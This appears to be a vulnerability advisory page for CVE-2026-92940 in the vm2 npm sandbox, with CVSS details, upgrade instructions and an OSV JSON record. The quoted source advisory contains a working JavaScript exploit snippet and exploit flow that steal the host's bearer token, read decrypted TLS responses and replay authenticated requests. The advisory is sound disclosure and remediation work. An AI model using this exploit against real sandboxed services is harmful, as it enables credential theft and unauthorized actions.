CVE-2026-92940: Vm2 Vm2 Exposes Host HTTPS Credentials Vulnerability

CRITICAL
Advisory Identifier: GHSA-h85j-hv3c-qfgq
CVSS 10.0
CWE-668
Published
Advisory Summary

CVE-2026-92940 is a CRITICAL (CVSS 10.0) vm2 exposes host https credentials vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 exposes host https credentials and tls traffic through globalagent. Remediation is available by upgrading affected packages to version 3.11.7.

CVE-2026-92940 at a Glance

CVE Identifier CVE-2026-92940
GHSA Identifier GHSA-h85j-hv3c-qfgq
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-92940

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.7
npm install vm2@3.11.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-92940, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.7), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Summary vm2 3.11.6 exposes the host process's real `https.globalAgent` when a `NodeVM` is explicitly allowed to require `https`. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a `free` listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection. In a contained test, sandbox code allowed only the `https` builtin: - read the host request's bearer token from the agent event; - attached a data listener to the released host TLS socket and read the next host response body in plaintext; - learned the private service host and port; - sent an attacker-chosen authenticated POST using the stolen host token; and - received confirmation that the service accepted the action. The host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance. ### Details The vulnerable boundary is the default builtin loader in `lib/builtin.js`: ```js builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key))); ``` The wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state. `https.globalAgent` is the default agent used by host HTTPS requests when the host does not supply a separate `agent`. The agent is shared by the entire Node.js thread. Its `free` event supplies both: - the `TLSSocket` that has just completed a request and is available for reuse; and - the connection/request options used to place that socket in the pool. The following sandbox code registers directly on that host singleton: ```js const https = require('https'); https.globalAgent.on('free', (socket, options) => { const token = options.headers.Authorization; const destination = {host: options.host, port: options.port}; socket.on('data', chunk => { capturedHostTraffic += chunk.toString('utf8'); }); const req = https.request({ hostname: destination.host, port: destination.port, path: '/sandbox-action', method: 'POST', headers: {Authorization: token}, agent: false, }); req.end(attackerChosenBody); }); ``` Calling `.on()` is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits `free`, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling `socket.on()` also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection. The complete exploit flow is: ```text attacker-controlled NodeVM program with https allowed -> subscribe to the real host https.globalAgent -> unrelated host HTTPS request completes -> shared Agent emits live socket and request options into sandbox callback -> sandbox reads host Authorization token and private destination -> sandbox attaches to the released TLSSocket -> next host response is exposed in plaintext -> sandbox reuses stolen token for attacker-chosen authenticated request ``` This is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify `https` as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent. ### PoC The attached PoC uses only a temporary certificate and a loopback HTTPS server. 1. Install Node.js and OpenSSL. 2. In the attached `poc` directory, run: ```bash npm install --ignore-scripts node poc.js ``` 3. A vulnerable result includes all of the following markers: - leaked host token: `Bearer VM2_HOST_AUTHORIZATION_f7952a`; - captured host response: `VM2_PRIVATE_HOST_RESPONSE_47b2d6`; - attacker-chosen authenticated action: `VM2_SANDBOX_ACTION_8d14c3`; - server decision: `ACTION_ACCEPTED`. The first host request carries the token. After it completes, the sandbox callback receives the token and independently sends the action request. The second host request reuses the pooled TLS connection; the sandbox's listener reads that response from the live socket. The PoC fails unless both confidentiality and integrity effects occur. ### Impact This is cross-boundary exposure and misuse of a process-global authenticated network resource. An attacker who can submit code to a `NodeVM` with `https` allowed can, when the host uses the default HTTPS agent: - steal Authorization, Cookie, API-key, proxy-authorization, and other sensitive request options; - discover private service hostnames and ports used only by host code; - read plaintext response headers and bodies on reused TLS connections; - steal client-certificate, private-key, passphrase, CA, or session-related options when the host supplies them through request options; - perform authenticated actions using stolen bearer credentials; - write to or destroy live host sockets, disrupting or corrupting unrelated traffic; - cross tenant boundaries when multiple sandboxes and host workloads share one process. The sandbox already has the intentional ability to make its own HTTPS requests. It does not intentionally have authority to observe or reuse the host application's credentials and connections. A host that always supplies a separate private Agent for every sensitive request avoids this specific singleton, but that is not the default behavior.

CVE-2026-92940 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.7
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
≥ 3.11.3
< 3.11.7
3.11.7

References

Frequently Asked Questions

What is CVE-2026-92940?
CVE-2026-92940 is a security vulnerability in Vm2 involving vm2 exposes host HTTPS credentials and TLS traffic through globalAgent under CWE-668: Exposure of Resource to Wrong Sphere.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.7 across affected packages: vm2.
What version fixes CVE-2026-92940?
Upgrading to 3.11.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.7. Upgrade your dependency to 3.11.7 or later.
What is the CVSS score of CVE-2026-92940?
CVE-2026-92940 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L.
What CWE is associated with CVE-2026-92940?
CVE-2026-92940 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check npm dependencies for CVE-2026-92940?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h85j-hv3c-qfgq",
  "modified" : "2026-10-01T15:38:26Z",
  "published" : "2026-10-01T15:38:26Z",
  "aliases" : [ "CVE-2026-92940" ],
  "summary" : "vm2 exposes host HTTPS credentials and TLS traffic through globalAgent",
  "details" : "Summary\n\nvm2 3.11.6 exposes the host process's real `https.globalAgent` when a `NodeVM` is explicitly allowed to require `https`. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a `free` listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection.\n\nIn a contained test, sandbox code allowed only the `https` builtin:\n\n- read the host request's bearer token from the agent event;\n- attached a data listener to the released host TLS socket and read the next host response body in plaintext;\n- learned the private service host and port;\n- sent an attacker-chosen authenticated POST using the stolen host token; and\n- received confirmation that the service accepted the action.\n\nThe host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance.\n\n### Details\n\nThe vulnerable boundary is the default builtin loader in `lib/builtin.js`:\n\n```js\nbuiltins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));\n```\n\nThe wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state.\n\n`https.globalAgent` is the default agent used by host HTTPS requests when the host does not supply a separate `agent`. The agent is shared by the entire Node.js thread. Its `free` event supplies both:\n\n- the `TLSSocket` that has just completed a request and is available for reuse; and\n- the connection/request options used to place that socket in the pool.\n\nThe following sandbox code registers directly on that host singleton:\n\n```js\nconst https = require('https');\n\nhttps.globalAgent.on('free', (socket, options) => {\n  const token = options.headers.Authorization;\n  const destination = {host: options.host, port: options.port};\n\n  socket.on('data', chunk => {\n    capturedHostTraffic += chunk.toString('utf8');\n  });\n\n  const req = https.request({\n    hostname: destination.host,\n    port: destination.port,\n    path: '/sandbox-action',\n    method: 'POST',\n    headers: {Authorization: token},\n    agent: false,\n  });\n  req.end(attackerChosenBody);\n});\n```\n\nCalling `.on()` is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits `free`, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling `socket.on()` also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection.\n\nThe complete exploit flow is:\n\n```text\nattacker-controlled NodeVM program with https allowed\n  -> subscribe to the real host https.globalAgent\n  -> unrelated host HTTPS request completes\n  -> shared Agent emits live socket and request options into sandbox callback\n  -> sandbox reads host Authorization token and private destination\n  -> sandbox attaches to the released TLSSocket\n  -> next host response is exposed in plaintext\n  -> sandbox reuses stolen token for attacker-chosen authenticated request\n```\n\nThis is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify `https` as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent.\n\n### PoC\n\nThe attached PoC uses only a temporary certificate and a loopback HTTPS server.\n\n1. Install Node.js and OpenSSL.\n2. In the attached `poc` directory, run:\n\n   ```bash\n   npm install --ignore-scripts\n   node poc.js\n   ```\n\n3. A vulnerable result includes all of the following markers:\n\n   - leaked host token: `Bearer VM2_HOST_AUTHORIZATION_f7952a`;\n   - captured host response: `VM2_PRIVATE_HOST_RESPONSE_47b2d6`;\n   - attacker-chosen authenticated action: `VM2_SANDBOX_ACTION_8d14c3`;\n   - server decision: `ACTION_ACCEPTED`.\n\nThe first host request carries the token. After it completes, the sandbox callback receives the token and independently sends the action request. The second host request reuses the pooled TLS connection; the sandbox's listener reads that response from the live socket. The PoC fails unless both confidentiality and integrity effects occur.\n\n### Impact\n\nThis is cross-boundary exposure and misuse of a process-global authenticated network resource.\n\nAn attacker who can submit code to a `NodeVM` with `https` allowed can, when the host uses the default HTTPS agent:\n\n- steal Authorization, Cookie, API-key, proxy-authorization, and other sensitive request options;\n- discover private service hostnames and ports used only by host code;\n- read plaintext response headers and bodies on reused TLS connections;\n- steal client-certificate, private-key, passphrase, CA, or session-related options when the host supplies them through request options;\n- perform authenticated actions using stolen bearer credentials;\n- write to or destroy live host sockets, disrupting or corrupting unrelated traffic;\n- cross tenant boundaries when multiple sandboxes and host workloads share one process.\n\nThe sandbox already has the intentional ability to make its own HTTPS requests. It does not intentionally have authority to observe or reuse the host application's credentials and connections. A host that always supplies a separate private Agent for every sensitive request avoids this specific singleton, but that is not the default behavior.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.11.3"
      }, {
        "fixed" : "3.11.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.11.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-h85j-hv3c-qfgq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92940"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/aa146a77f859325e079f3bfbfe6d8309af483daa"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-https-credential-exposure-via-globalagent"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-668" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-01T15:38:26Z",
    "nvd_published_at" : null
  }
}